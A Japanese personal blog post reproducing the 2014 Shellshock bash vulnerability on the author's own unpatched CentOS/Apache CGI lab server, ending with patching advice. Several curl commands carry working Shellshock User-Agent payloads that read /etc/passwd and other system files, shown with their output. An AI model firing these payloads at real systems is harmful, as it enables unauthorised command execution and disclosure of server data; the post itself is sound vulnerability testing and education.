ytooyamaのブログ

サーバ構築とか、仕事で発見したこととか、趣味のこととかを書いています。

Bashの脆弱性を確認するためにサーバー構築してみた

最近話題のGNU Bashの脆弱性(通称"Shellshock")について、暇だったので動作検証してみました。

1.CentOS 6.5をインストールし、アップデートの実施は行わずにSELinuxもデフォルト設定のままにする。

# sestatus
SELinux status: enabled
SELinuxfs mount: /selinux
Current mode: enforcing
Mode from config file: enforcing
Policy version: 24
Policy from config file: targeted

sestatusはSELinuxの動作状況を出力するコマンド。enforcingだと有効の状態である。

2.次にApache2とPerlのインストール

# yum -y install httpd perl

3.Apache2の設定変更

# vi /etc/httpd/conf/httpd.conf
(Apache2の設定は主にここら辺を修正)
...
#ServerName www.example.com:80 (コメントを外す)

ServerName 192.168.135.164:80
...
#AddHandler cgi-script .cgi (コメントを外す)

AddHandler cgi-script .cgi
...

AllowOverride None
#Options None
Options ExecCGI #cgiを実行可能にするために"ExecCGI"を追加
Order allow,deny
Allow from all

4.Apache2サーバー起動

# service httpd start

5.iptablesでWebサーバーへの通信を許可(system-config-firewall-tuiを使って設定したほうがわかりやすいかも)

# vi /etc/sysconfig/iptables
..

  • A INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT

(80ポートを追記)

  • A INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT

# service iptables restart

6.この情報を参考にhoge.cgiを生成
http://www.walbrix.com/jp/blog/2014-09-bash-code-injection.html

7.ファイルを/var/www/cgi-binに置く
8.置いたcgiファイルを実行可能にする

# chmod +x hoge.cgi

ここまで作業したら、以降は別のマシンからサーバーにアクセスしてみます。ちなみに私はMacのターミナルを使ってアクセスしてみます。

9.リモートPCからコマンドでApacheサーバーにアクセス
実行結果は一見普通。

$ curl http://192.168.135.164/cgi-bin/hoge.cgi
Hi! I'm an ordinary CGI script which is executed by /bin/sh

10.リモートPCからコマンドで悪いことを実施
→リモートサーバー上のユーザーとサービスユーザー一覧が出てくる

$ curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://192.168.135.164/cgi-bin/hoge.cgi
root:x:0:0:root:/root:/bin/bash
...

まあこわい
...いや、そんだけの問題ではないですよ?

11.リモートサーバーのOSバージョンを見てみよう。ぐへへ
OSバージョンが出てしまった...

$ curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/redhat-release" http://192.168.135.164/cgi-bin/hoge.cgi
CentOS release 6.5 (Final)

12.リモートサーバーのカーネルバージョンを見てみよう。ぐへへ
あ、やばい。カーネルバージョンも出てしまった..

$ curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/uname -a" http://192.168.135.164/cgi-bin/hoge.cgi
Linux centos6 2.6.32-431.el6.x86_64 #1 SMP Fri Nov 22 03:15:09 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux

13.リモートサーバーのresolv.confを見てみよう。ぐへへ
おう...

$ curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/resolv.conf" http://192.168.135.164/cgi-bin/hoge.cgi
; generated by /sbin/dhclient-script
search localdomain
nameserver 192.168.135.2

【問題の対処方法】
・新しいbashにアップデートする。これが一番簡単な対処方法。
(各ディストリビューションの対応状況は、JPCERT/CC Alert 2014-09-25などの情報を参考に。ちなみにFedora 20はbash-4.2.48-2で対処完了している。)

bashパッケージのアップデート後は、"期待したもの"は出力されない。

$ curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/redhat-release" http://192.168.135.164/cgi-bin/hoge.cgi
Hi! I'm an ordinary CGI script which is executed by /bin/sh

この結果から、今回の問題についてはSELinuxでは防げないということがわかりました
SELinuxのデフォルト設定のままでは防げないので、各種設定ファイルがある/etcを見せないようにSELinuxの設定を変更する必要があることがわかりました。とはいえ脆弱性のあるままはいけませんので、きちんとbashパッケージの更新をしましょう。

ちなみに次回はSELinuxがオフの場合にどういう動きをするかを検証したいなと思っています。

【やってみたギャラリー】

・上記の仕組みを使って、yesコマンドをリモートから実行。リモートのサーバーでyesコマンドが実行されて負荷があがる
ちなみにローカルでyesコマンドを実行するときと異なり、apacheユーザーで実行される。負荷もそこまであがらないが、一個のコマンドを実行すると一個のプロセスがあがる(つまり1024個コマンドを実行すると...)。

このブログサイトはJavaScriptを使っていますが、読み込んでいるJavaScriptは全てはてなが提供しているものであり、筆者が設置しているものではありません。